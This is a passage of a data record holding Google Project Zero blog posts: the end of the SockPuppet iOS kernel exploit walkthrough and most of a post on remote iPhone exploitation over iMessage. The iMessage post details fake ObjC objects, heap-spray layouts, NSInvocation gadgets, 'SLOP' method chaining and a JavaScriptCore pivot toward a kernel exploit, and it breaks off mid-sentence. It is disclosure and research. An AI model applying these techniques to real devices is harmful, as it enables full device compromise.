problem. ipc_space_kernel and kernel_map are already signed, and if pipe buffers are signed we can simply split the fake port and task across two pipe buffers and obtain a signed pointer to each buffer. In any case, the exploit would not work completely out of the box, because we do forge a pointer into the file descriptor table to lookup arbitrary fd structures and some lookups may require reading more than 20 bytes of data. However, I\u2019m confident that the read primitive is powerful enough to work around these gaps without significant effort.\n\n** \n**\n\nIn practice iOS 13 only protects some data pointers, which paradoxically might improve end user security. For example, if pipe buffers are unprotected, simply leaking the address of one is unlikely to let us use that pointer to represent a fake ipc_port if pointers to ports are signed. An examination of the kernel cache for 17B5068e revealed that IPC port pointers are indeed not protected, but I do think they plan to do so (or already do so in non-beta builds) according to Apple\u2019s BlackHat talk earlier this year. Like any mitigation combined with a bug providing strong initial primitives, it\u2019s just a matter of designing alternative exploit techniques. Without considering the whack-a-mole of which pointers should be protected or unprotected, I\u2019m hoping that in the future, as many pointers as possible are signed with the location as a context to help mitigate the effect of pointer substitution attacks. As we can see from our thought experiment, there isn\u2019t much to be gained with a good use-after-free based read primitive if data pointers are simply signed with a context of 0.\n\n** \n**\n\nThe other mitigation to consider is the Memory Tagging Extension (MTE) for ARM, an upcoming CPU feature that I believe that Apple will try to implement. There\u2019s a nice high level summary for this mitigation [here](<https://security.googleblog.com/2019/08/adopting-arm-memory-tagging-extension.html>) and [here](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/enhancing-memory-safety>). In essence, memory allocations will be assigned a random tag by the memory allocator that will be part of the upper unused bits of the pointer, like in PAC. The correct tag value will be stored out of line, similar to how ASAN stores heap metadata out of line. When the processor goes to dereference the pointer, it will check if the tag matches. This vulnerability would have been mitigated by MTE, because we trigger the use after free many times in the exploit, and every time the freed pointer would be accessed, its tag would be compared against the new tag for the freed range or that of whichever allocation reclaimed the buffer. Depending on what the CPU or kernel is configured to do when a mismatching tag is identified will affect how an exploit will proceed. I would expect that Apple [configure either a synchronous or asynchronous exception](<https://developer.arm.com/docs/ddi0595/b/aarch64-system-registers/sctlr_el3#TCF>) to occur during tag check failure, considering they make an effort to trigger data aborts for PAC violations according to [their LLVM documentation for PAC](<https://github.com/apple/llvm-project/blob/a63a81bd9911f87a0b5dcd5bdd7ccdda7124af87/clang/docs/PointerAuthentication.rst#basic-concepts>): \u201cWhile ARMv8.3's aut* instructions do not themselves trap on failure, the compiler only ever emits them in sequences that will trap.\u201d\n\n** \n**\n\nUsing corrupted code pointers forged by an attacker is a rare occurrence, but invalid heap accesses happen very often in real code. I suspect many bugs will be identified using MTE, and look forward to seeing its use in the iPhone. If it is combined with the current PAC implementation, it will be a huge boost to security for end users.\n\n## The iOS Exploit Meta\n\nI found it interesting to see which techniques I used are part of the iOS exploit \u201cmeta,\u201d that is, the tricks that are used often in public exploits and those seen in the wild. These were all the techniques I came across and how and if I incorporated them into the exploit. As mentioned earlier, for the closest publicly documented variant of the approach I used, see Stefan Esser\u2019s presentation [on the topic](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>), which seems to be the first to use this basket of techniques.\n\n** \n**\n\nSummary\n\n| \n\nBenefit\n\n| \n\nUsed? \n \n---|---|--- \n \nIOSurface subsystem\n\n| \n\nSpray arbitrary data of controlled contents and size in kernel address space\n\n| \n\nYes \n \nOOL port descriptor array\n\n| \n\nSpray arbitrary multiple of 8 array containing pointers to ipc_ports with send right\n\n| \n\nYes \n \nPipe buffers\n\n| \n\nRepeatable read/write from userland of malloced buffer without needing sprays\n\n| \n\nYes \n \nLooking around the host port for other early ports\n\n| \n\nFind the kernel task port\n\n| \n\nYes, SockPuppetV1, replaced with my own variant later \n \nCopying kernel_task task port to a new address\n\n| \n\nBypass kernel_task task port check for messages coming from a user task\n\n| \n\nYes \n \nCreating a fake task port pointing to an arbitrary \u201ctask\u201d and reading its PID\n\n| \n\nRepeatable arbitrary read\n\n| \n\nNo, already had arbitrary read directly via first stage \n \nTriggering zone allocator garbage collection\n\n| \n\nReclaim an object from one zone with an object from another\n\n| \n\nNo, all relevant objects were already in the generic size-based zones \n \n## A bug\u2019s life\n\nWhen testing my exploit on older phones, I noticed that my 32-bit iPhone 5 was still running iOS 9.2. Out of curiosity I tested the highly exploitable disconnectx PoC that permits corrupting memory via the freed buffer and was shocked to see that the PoC worked right away. The kernel panicked when accessing freed memory (0xDEADBEEF was present in one of the registers when the crash occurred). After some more testing, I found that the PoC worked on the first XNU version where disconnectx was introduced: the Mavericks kernel included with the release of macOS 10.9.0. The iOS 7 beta 1 kernel came soon after Mavericks, so it\u2019s likely that iOS 7 beta 1 until iOS 12.2/12.4 was affected by this bug. September 18, 2013 was the official release date of iOS 7, so it appears that macOS and iOS users were broadly affected by this vulnerability for over 5 years.\n\n# Conclusion\n\nIt is somewhat surprising that a bug with such a strong initial primitive was present in iOS for as long as it was. I had been following public iOS security research since the iPhone\u2019s inception and it wasn\u2019t until recently that I realized I might be capable of finding a bug in the kernel myself. When I read exploit writeups during the iOS 7 era, I saw that there were large chains of logic bugs combined with memory corruption. But I knew from my work on Chrome that fuzzing tools have become so effective recently that memory corruption bugs in attack surfaces that were thought to be well audited could be discovered again. We can see that this is true for iOS (as much as it is for other platforms like Chrome that were thought to be very difficult to break), that single bugs that are sufficient for privilege escalation existed even during the time when large chains were used. Attacker-side memory corruption research is too easy now: we need MTE or other dynamic checks to start making a dent in this problem.\n\n** \n**\n\nI\u2019d like to give credit to @_bazad for his patience with my questions about Mach. SockPuppet was heavily inspired by his voucher_swap exploit, which was in turn inspired by many exploit techniques that came before it. It is really a testament to the strength of some exploitation tricks that they appear in so many exploits. With PAC protection for key data pointers, we may see the meta shift again as the dominant approach of injecting fake task ports is on Apple\u2019s radar, and mitigations against it are arriving.\n\n \n\n\nFinally, if Apple made XNU sources available more often, ideally per-commit, I could have automated merging my fuzzer against the sources and we could have caught the iOS 12.4 regression immediately. Chromium and OSS-Fuzz already have success with this model. A fuzzer I submitted to Chrome\u2019s [fuzzer program](<https://www.google.com/about/appsecurity/chrome-rewards/#fuzzerprogram>) that only found 3 bugs initially, has now found [95 stability and security regressions](<https://bugs.chromium.org/p/chromium/issues/list?q=net_quic_stream_factory_fuzzer%20-status%3AWontFix%20-status%3ADuplicate%20&can=1>) since submission. By opening the sources more frequently to the public, we have the opportunity to catch, by an order of magnitude, more critical bugs before they even make it to beta.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-10T00:00:00", "type": "googleprojectzero", "title": "\nSockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2019-12-10T00:00:00", "id": "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "href": "https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:37", "description": "Posted by Samuel Gro\u00df, Project Zero \n \nThis is the third and last post in a series about a remote, interactionless iPhone exploit over iMessage. The [first blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>) introduced the exploited vulnerability, and the [second blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) described a way to perform a heapspray, leaking the shared cache base address.\n\n** \n**\n\nAt this point, ASLR has been broken as the shared cache\u2019s base address is known and controlled data can be placed at a known address with the heap spray. What remains is to exploit the vulnerability one more time to gain code execution.\n\n** \n**\n\nAfter a short introduction to some relevant ObjC internals, an exploit for devices without pointer authentication (PAC) will be outlined. It involves creating code pointers, so it no longer works with pointer authentication enabled. Afterwards, a different exploit that works against PAC and non-PAC devices will be presented. Finally, a technique to chain the presented attack with a kernel exploit, which involves implementing the kernel exploit in JavaScript, will be shown.\n\n## Objective-C for the Remote Code Executer\n\n** \n**\n\nObjC is a superset of C which has object oriented programming features added. ObjC adds, amongst others, the concepts of objects, classes with methods and properties, and inheritance to the language. Most objects in ObjC ultimately inherit from [NSObject](<https://developer.apple.com/documentation/objectivec/nsobject?language=objc>), the root object class. A simple snippet of ObjC code is shown next. It creates and initializes an instance of a Class, then calls a method on the instance.\n\n** \n**\n\nBob* bob = [[Bob alloc] init];\n\n[bob doSomething];\n\n** \n**\n\nObjC relies heavily on reference counting for managing the lifetime of objects. As such, every object has a refcount, either [inline as part of the ISA word](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L93>) (see below) or out of line in a [global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L201>). Code that operates on an object then has to perform [objc_retain](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571946-retain?language=objc>) and [objc_release](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571957-release?language=objc>) calls on the object. These must either be placed manually by the programmer or are inserted automatically by the compiler if [automatic reference counting (ARC)](<https://en.wikipedia.org/wiki/Automatic_Reference_Counting>) is enabled.\n\n** \n**\n\nInternally, an [object in ObjC](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L127>) is a chunk of memory (usually allocated through calloc) that always starts with an [\u201cISA\u201d value](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L59>) followed by instance variables/properties. The ISA value is a pointer-sized value containing the following information:\n\n * A pointer to the Class of which this object is an instance\n\n * An inline reference counter\n\n * A few additional flag bits\n\n** \n**\n\nAn [ObjC Class](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L1012>) describes its instances, but it is also an ObjC object itself. As such, Classes in ObjC are not only a compile time concept but also exist at runtime, enabling introspection and reflection. A Class contains the following bits of information:\n\n * The ISA word (as it is an Objc Object itself), pointing to a dedicated metaclass\n\n * A pointer to the superclass if any\n\n * A method cache to speed up method implementation lookups\n\n * The method table\n\n * The list of instance variables (name and offset) that each instance has\n\n** \n**\n\nA [Method](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L207>) in ObjC is basically a tuple:\n\n** \n**\n\n([Selector](<https://developer.apple.com/documentation/objectivec/sel?language=objc>), [Implementation](<https://developer.apple.com/documentation/objectivec/objective-c_runtime/imp?language=objc>)) \n\n** \n**\n\nwhere the Selector is a unique c-string containing the name of the method and the Implementation is a pointer to the native function implementing the method. \n\n** \n**\n\nWith that, here is roughly what happens when the following piece of ObjC code from above is compiled and executed: first, at compile time, the three ObjC method calls are translated to the following pseudo-C code (assuming ARC is enabled):\n\n** \n**\n\nBob* bob = objc_msgSend(BobClass, \"alloc\");\n\n// Refcount is already 1 at this point, so no need for a objc_retain()\n\nbob = objc_msgSend(bob, \"init\");\n\nobjc_msgSend(bob, \"doSomething\");\n\n...\n\nobjc_release(bob);\n\n** \n**\n\nAt runtime, [objc_msgSend](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/Messengers.subproj/objc-msg-arm64.s#L252>) will then roughly do the following:\n\n** \n**\n\n 1. Dereference the object pointer to retrieve the ISA value and extract the Class pointer from it in turn\n\n 2. Perform a [lookup for the requested method implementation](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.mm#L4657>) in the Class\u2019 method cache. This is done by essentially hashing the selector\u2019s address to obtain a table index, then comparing the entry\u2019s selector with the requested one\n\n 3. If that fails, continue to look up the method in the method table\n\n 4. If a method Implementation was found, it is (tail-) called and passed any additional arguments that were passed to objc_msgSend. Otherwise an exception is raised.\n\n** \n**\n\nNote that since selectors are guaranteed to be unique by the ObjC runtime, comparison of two selectors is possible simply by comparing the pointer values. \n\n** \n**\n\n[objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) on the other hand will [decrement the object\u2019s refcount](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L464>) (assuming no custom retain/release has been implemented for the object by overwriting the corresponding methods).\n\nIf decrementing the object\u2019s refcount sets it to zero, it [invokes](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L571>) the [dealloc method](<https://developer.apple.com/documentation/objectivec/nsobject/1571947-dealloc>) (the destructor of the object) and then frees the object\u2019s memory chunk.\n\n** \n**\n\nFurther information about ObjC internals can be found [here](<http://www.phrack.org/issues/66/4.html#article>), [here](<http://www.phrack.org/issues/69/9.html#article>), and in the [source](<https://github.com/opensource-apple/objc4>)/[binary](<https://ipsw.me/>) code.\n\n## Native Code Execution on non-PAC Devices\n\n** \n**\n\nGiven the above insights into the ObjC runtime internals and the capabilities gained from the second part of this series, it is now possible to implement a simple exploit to gain native code execution on devices without pointer authentication (PAC), namely the iPhone X and earlier.\n\n** \n**\n\nShown next is the code fragment from [NSSharedKeySet indexForKey:] which reads the candidate value from an address of the attacker\u2019s choosing (as _keys is nullptr and index is controlled) and processes it. \n\n** \n**\n\n 1. id candidate = self->_keys[index];\n\n 2. if (candidate != nil) {\n\n 3. if ([key isEqual:candidate]) {\n\n 4. return prevLength + index;\n\n 5. }\n\n 6. }\n\n** \n**\n\nIf the key is a NSString, then one of the first things that [NSString isEqual:] will do with the given argument is calling [arg isNSString__] on it (see the implementation of [NSString isEqual:] in Foundation.framework). As such, native code execution can be achieved in the following way:\n\n** \n**\n\n 1. Perform the heap spray as described in part 2. The heap spray should contain a fake object pointing to a fake class containing a fake method cache with an entry for the method \u2018isNSString__\u2019 with a controlled IMP pointer. The heap spray should also contain a pointer to the fake object\n\n 2. Trigger the vulnerability to read that pointer and have it be passed to [key isEqual:]. This will in turn invoke \u2018isNSString__\u2019 on the faked object, thus pointing the instruction pointer to an address of the attacker\u2019s choosing\n\n 3. Perform a stack pivot and implement a payload in ROP\n\n** \n**\n\nAt this point, an attacker has succeeded in exploiting a device that does not support PAC (iPhone X and earlier). However, with PAC enabled, the above attack is no longer possible as is explained in the next section.\n\n** \n**\n\n## The Impact of PAC in Userspace\n\n** \n**\n\nBrandon Azad has previously done some great research [detailing how PAC works in the kernel](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). PAC in userspace is not too different. Next is a high level summary of how PAC works in userspace. For more information, the reader is referred to [llvm\u2019s documentation of PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>).\n\n** \n**\n\nEvery code pointer (function pointer, ObjC method pointer, return address, \u2026) is signed with a secret key as well as an optional 64-bit \u201ccontext\u201d value. The resulting signature is truncated to 24 bits which are then stored in the upper part of a pointer, which are normally unused. Before jumping to a code pointer, the pointer\u2019s signature is verified by recomputing it with the same key and context value and comparing the result to the bits stored in the pointer. If they match, the signature bits are cleared, leaving a valid pointer to be dereferenced. If they don\u2019t match, the pointer becomes clobbered, thus leading to an access violation when it is subsequently dereferenced.\n\n** \n**\n\nThe main purpose of the context value is to prevent pointer swapping attacks in which a signed pointer is copied from one location in the process to another. As an example, ObjC method Implementation pointers stored in the method cache use the address of the cache entry as context while return addresses on the stack use the address of themselves in the stackframe as context. As such, the two cannot be swapped.\n\n** \n**\n\nTo summarize, with PAC enabled and without a bug in the implementation of PAC itself or a signing gadget (a piece of code that can legitimately be invoked and which will add a PAC signature to an arbitrary pointer and return the result to the attacker), it becomes impossible to fake code pointers like the previously described exploit does. The bypass described next assumes such a \u201cflawless\u201d implementation.\n\n** \n**\n\nOne attack that is still viable despite PAC is to create fake instances of ObjC classes and call existing (legitimate) methods on them. This is possible because [PAC does not currently protect the ISA value](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst#objective-c-methods>) which identifies a class instance (this is likely due to the fact that the ISA value does not have enough spare bits for a signature). As such, knowing the base address of the dyld shared cache (which contains all the ObjC Class objects), it becomes possible to fake instances of any class in any library currently loaded in the process.\n\n** \n**\n\nHowever, on the code path that is currently taken ([NSSharedKeySet indexForKey:], only a small number of selectors are ever sent to the controlled object, for example \u2018__isNSString\u2019. This is likely not very useful as none of the available implementations perform anything particularly interesting. Another code path yielding a different primitive thus has to be found.\n\n** \n**\n\n## A Useful Exploit Primitive\n\n** \n**\n\nAs described above, ObjC relies heavily on reference counting, and one of the most common operations performed on an object (besides objc_msgSend) is objc_release. Due to that, many memory corruption vulnerabilities can be turned into an objc_release call on a controlled object. This is also the case here, although some more effort is required as, by itself, the code used during [NSSharedKeySet indexForKey:] will not call objc_release on the attacker controlled object. As such, a new object graph is required once again to reach a different piece of code, in this case in [NSSharedKeyDictionary setObject:ForKey:], called during [NSSharedKeyDictionary initWithCoder:] as shown next.\n\n \n\n\n** \n**\n\n 1. -[NSSharedKeyDictionary initWithCoder:coder] {\n\n 2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class] \n\n 3. forKey:@\u201dNs.skkeyset\u201d];\n\n 4. self->_values = calloc([self->_keyMap count], 8);\n\n 5. NSArray* keys = [coder decodeObjectOfClasses:[...] \n\n 6. forKey:@\u201dNS.keys\u201d]];\n\n 7. NSArray* values = [coder decodeObjectOfClasses:[...] \n\n 8. forKey:@\u201dNS.values\u201d]];\n\n 9. 10. if ([keys count] != [values count]) { // return error }\n\n 11. \n\n 12. for (int i = 0; i < [keys count]; i++) {\n\n 13. [self setObject:[values objectAtIndex:i] \n\n 14. forKey:[keys objectAtIndex:i]];\n\n 15. }\n\n 16. }\n\n** \n**\n\n 1. -[NSSharedKeyDictionary setObject:obj forKey:key] {\n\n 2. uint32_t index = [self->_keyMap indexForKey:key];\n\n 3. if (index != -1) { \n\n 4. id oldval = self->_values[index];\n\n 5. objc_retain(obj);\n\n 6. self->_values[index] = obj;\n\n 7. objc_release(oldval);\n\n 8. } \n\n 9. }\n\n** \n**\n\nNote that in [NSSharedKeyDictionary initWithCoder:], there is no check for nullptr after the call to calloc() in line 4. This is likely not a problem under normal circumstances as another allocation of the same size would have to succeed first (for the SharedKeySet) and its content (multiple gigabytes of data) would have to be sent over iMessage. However, it does become a problem in combination with the current vulnerability, as now a _numKey value of one of the SharedKeySets is not yet validated at the time this code runs, thus allowing an attacker to cause calloc() to fail without requiring other huge allocations to succeed first. Afterwards, [NSSharedKeyDictionary setObject:forKey:] can be tricked to again read an ObjC id from an attacker controlled address (line 4) and subsequently call objc_release on it (line 7). The object graph shown next triggers this case and performs an objc_release call on an attacker controlled value. The return value of calloc() has since been checked against nullptr, in which case unarchiving is aborted.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMpq5iI8M39sDpQx2M_ERppd3Hcr1SXy7p8Ri-3nhHvibSPtsFY4gY842zHkXPaBM0EsKSrF8bXWK0m_XAa9Dhoo75xL6RYa7RqWwhupSXlaL1Z23v6_aBd5TvA-s-NAdPUCZeyiZGnFfWgVAj8fyZlsaixVj6iisxkmCgqLC3r2dS_3T25UIyIQdc/s2048/ExploitPrimitive.png>)\n\nWhen the shown object graph is unarchived, SharedKeyDictionary2 will attempt to store the value for \u201ck2\u201d in itself and will thus call [SharedKeySet2 indexForKey:\"k2\"]. This in turn will recurse to SharedKeySet1, which will also not find the key (as the index fetched from its _rankTable is larger than _numKey) and recurse further. Finally, SharedKeySet3 will be able to lookup \u201ck2\u201d and return the currently accumulated offset, which is (1 + 0x41414140/8). SharedKeyDictionary2 will then access 0x41414148, call objc_release on the value read there and finally write the NSString \u201cfoobar\u201d to that address. This now provides the arbitrary objc_release primitive required for further exploitation.\n\n** \n**\n\nWith that, it is now possible to get any legitimate \u2018dealloc\u2019 or \u2018.cxx_desctruct\u2019 (which are additional destructors automatically generated by the compiler) method called. There are about 50,000 such functions in the shared cache. Quite a lot of gadgets! To find interesting gadgets, the following IDAPython snippet can be used on a loaded dyld_shared_cache image. It enumerates the available destructors and writes their name + decompiled code to disk:\n\n** \n**\n\nfor funcea in Functions():\n\nfuncName = GetFunctionName(funcea)\n\nif \u2018dealloc]\u2019 in funcName or \u2018.cxx_desctruct]\u2019 in funcName:\n\nfunc = get_func(funcea)\n\noutfile.write(str(decompile(func)) + \u2018\\n\u2019)\n\n** \n**\n\nOne approach to finding interesting dealloc \u201cgadgets\u201d is to grep the decompiled code for specific selectors that are being sent to other objects, further increasing the amount of code that can be executed. One dealloc implementation that is particularly interesting is printed below:\n\n** \n**\n\n-[MPMediaPickerController dealloc](MPMediaPickerController *self, SEL)\n\n{\n\nv3 = objc_msgSend(self->someField, \"invoke\");\n\nobjc_unsafeClaimAutoreleasedReturnValue(v3);\n\nobjc_msgSend(self->someOtherField, \"setMediaPickerController:\", 0);\n\nobjc_msgSendSuper2(self, \"dealloc\");\n\n}\n\n** \n**\n\nThis sends the \u201cinvoke\u201d selector to an object read from the faked self object. \u201cinvoke\u201d is for example implemented by [NSInvocation](<https://developer.apple.com/documentation/foundation/nsinvocation>) objects, which are essentially bound functions: a triplet of (target object, selector, arguments) which, when sent the \u201cinvoke\u201d selector, will call the stored selector on the target object with the stored arguments. It is thus possible to call any ObjC method on a completely controlled object with arbitrary arguments. Quite a powerful primitive. In fact, already powerful enough to pop calc. The call:\n\n** \n**\n\n[UIApplication launchApplicationWithIdentifier:@\"com.apple.calculator\" suspended:NO]\n\n** \n**\n\n...will do the job just fine :)\n\n** \n**\n\nThe final heap spray layout then looks roughly as depicted below. The heap spray must now be a bit bigger because the previously used address 0x110000000, which will now also be used as the size argument to calloc, will not cause calloc to fail on newer devices, so a higher address such as 0x140000000 is necessary. Note also that the call to \u2018setMediaPickerController\u2019 in the dealloc implementation can simply be survived by setting someOtherField to zero, in which case objc_msgSend generally becomes a nop. NSInvocation objects are made up of a \u201cframe\u201d, a pointer to a buffer containing the arguments for the call, as well as storage for the return value and a reference to a NSMethodSignature object containing information about the number and type of the arguments. The latter two fields are omitted in the diagram for brieviety.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRoQjcXknwnUxwFAWqJIE-2vUMftTrN2L6pOwVCXcSk4OO4PmLy2mW5meOC_gOY-z-Yz3vs6yQO-U4PDBkycehi2FeC4Z7vFFN6lifIx5JcGvjQEjKVXTGe8_JmlE1AWYlwBA_isNQeys7_XeyRrH9VBbsN87qUw620C3IjJMHrLKaj10KM1Fsv3yD/s2048/Heap%20Spray%20Content.png>)\n\nTo trigger the controlled ObjC method invocation from [NSSharedKeyDictionary setObject:obj forKey:key], the address 0x140003ff8 must be accessed so that a pointer to the fake MPMediaPickerController is passed to objc_release.\n\n** \n**\n\nThe video below shows the exploit in action. Note that there is no \u201crespring\u201d or similar crash behaviour happening as SpringBoard continues normally after executing the payload.\n\n** \n**\n\n \nWhile opening a calculator is nice, the ultimate goal of an exploit like the one presented here is likely to stage a kernel exploit. One option for that is to use the current capability to open a WebView and serve a classic browser exploit. However, that would likely require a separate browser vulnerability. The final question is thus whether it is possible to directly chain a kernel exploit given the current primitive. The remainder of this blog post will now explore this option.\n\n** \n**\n\n## SeLector Oriented Programming (SLOP)\n\n** \n**\n\nThe technique described here was not part of the initial exploit PoC that was sent to Apple. As such, it was separately reported on September 13 as an exploitation technique (noting that exploitation techniques are not subject to Project Zero's 90 day deadlines)\n\n** \n**\n\nExpanding on the current exploitation capability, the ability to call a single method on a controlled object with controlled arguments, the next step is to gain the ability to chain multiple method calls together. Furthermore, it should also be possible to use the return values of method calls, for example as arguments to subsequent ones, and to be able to read and write process memory. The following technique, dubbed SLOP for SeLector Oriented Programming ;), allows this.\n\n** \n**\n\nFirst, it is possible to chain multiple selector calls together by creating a fake NSArray containing fake NSInvocation objects, then calling [[NSArray makeObjectsPerformSelector:@selector(invoke)]](<https://developer.apple.com/documentation/foundation/nsarray/1460115-makeobjectsperformselector?language=objc>) on it (through the \u201cbootstrap\u201d NSInvocation that is invoked during [MPMediaPickerController dealloc]). This will invoke each of the NSInvocations, thus performing multiple independent ObjC method calls.\n\n** \n**\n\nNext, by using the [[NSInvocation getReturnValue:ptr]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437832-getreturnvalue?language=objc>) method, it is possible to write the return value of a previous method call somewhere in memory, for example into the arguments buffer of a following call. With that, it is possible to use return values of method calls as arguments for subsequent ones.\n\n** \n**\n\nA simple SLOP chain then looks like this:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHRdcv9Yy2tbo7UUXrWszCDIo_6_VxaM0GSg4hSWcO41hdTnojQHsccZg5bJXG7_zIza5ltdpQuxYddOMh3tyYqcExtd_YUfij4tY8K6Fxnqzf2sGdqL1SvGTOHcK7CQMaMxputEvwhbFp_SnizjOUtGFIjQtHY1hjH5gwqn26ORx2MhGyynoekzr/s2048/SLOP.png>)\n\nThis chain is equivalent to the following ObjC code:\n\n** \n**\n\nid result = [target1 doX];\n\n[target2 doY:result];\n\n** \n**\n\nFor the final primitive, the ability to read and write process memory, the [[NSInvocation getArgument:atIndex]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437830-getargument?language=objc>) method can be used, of which simplified pseudocode is shown next:\n\n** \n**\n\nvoid -[NSInvocation getArgument:(void*)addr atIndex:(uint)idx] {\n\nif (idx >= [self->_signature numberOfArguments]) {\n\n...; // abort with exception\n\n}\n\n** \n**\n\nmemcpy(addr, &self->_frame[idx], 8);\n\n}\n\n** \n**\n\nAs the above method can be invoked using SLOP, it is possible to perform arbitrary memory reads and writes (with [\u2019setArgument:atIndex\u2019](<https://developer.apple.com/documentation/foundation/nsinvocation/1437834-setargument?language=objc>) instead) by creating fake NSInvocation objects where the _frame member points to the desired address. Conveniently, this also allows reading and writing at an offset from the pointer which facilitates accessing or corrupting members of some data structure. This will be an important primitive for the next part.\n\n** \n**\n\nWith SLOP, it is now possible to execute arbitrary ObjC methods. As this happens outside of the sandbox in SpringBoard, it is already sufficient to for example gain access to user data. However, by itself, SLOP is likely not powerful enough to execute a kernel exploit, which is the final step for a full device compromise. This is for example due to the lack of (obvious) control-flow primitives that SLOP provides.\n\n## Chaining a Kernel Exploit\n\n** \n**\n\nOne approach for executing a kernel exploit is then to use SLOP to pivot into a scripting context, for example into [JavaScriptCore.framework](<https://developer.apple.com/documentation/javascriptcore?language=objc>), and implement the kernel exploit in that scripting language. Pivoting into JavaScript from SLOP is easily possible using the following method calls:\n\n** \n**\n\nJSContext* ctx = [[JSContext alloc] init];\n\n[ctx evaluateScript:scriptContent];\n\n** \n**\n\nIn order to execute a kernel exploit in JavaScript, the following primitives will have to be bridged into JavaScript or recreated there:\n\n** \n**\n\n 1. The ability to read and write the memory of the current process\n\n 2. The ability to call C functions and in particular syscalls\n\n** \n**\n\nGaining memory read/write in JavaScript is rather easy with a standard browser exploitation technique: corrupting JavaScript [DataViews](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView>)/[TypedArrays](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray>). In particular, two DataView objects can be created in JS, then [returned to ObjC](<https://developer.apple.com/documentation/javascriptcore/jscontext/1451771-objectforkeyedsubscript?language=objc>), where the first one is corrupted so that its backing memory pointer now points to the second one. The resulting situation is shown in the image below. Corrupting the backing storage pointer is possible by using the memory read/write primitive in SLOP as described above.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWQJGlRPGzC51weNE1cKBTjxVmJPU3dRshmiapm11GUgF7ho-Xam5EZhnSaW8dE3jV85tiBflkdysP2rRo9FUEF_oWu2U8fGXeeDW_9fknMLNsaFb5fJUBP6y2S7IlFMsJ2Rk7zb1AHUhnC_z9Lfnw0KI0g-JoPYIDYzycSwjpmxJVecF7Gkh5uk3J/s1945/DataViews.png>)\n\nSubsequently, it is now possible to read from/write to arbitrary addresses from JavaScript by first corrupting the backing storage pointer of the second DataView through the first one, then accessing the second DataView\u2019s storage. Conveniently, [Gigacage](<https://phakeobj.netlify.com/posts/gigacage/>), a mitigation in JavaScriptCore designed to hinder the abuse of ArrayBuffers and similar in such a way, is [not active in JSC builds for Cocoa](<https://github.com/WebKit/webkit/blob/98cbf74a29d2dfea8c253ebd09cacb2c44c7557d/Source/bmalloc/bmalloc/ProcessCheck.h#L34>). This solves point 1 above.\n\n** \n**\n\nAfterwards, point 2 can be achieved with the following two ObjC methods:\n\n * [CNFileServices dlsym::], which is just a thin wrapper around dlsym(3). With PAC enabled, dlsym will sign returned function pointers with context zero (as no sensible context value is available to the caller) before returning them\n\n * [NSInvocation invokeUsingIMP:], which accepts an IMP, a function pointer signed with context zero, as argument and calls it with the arguments from its frame buffer, which are thus 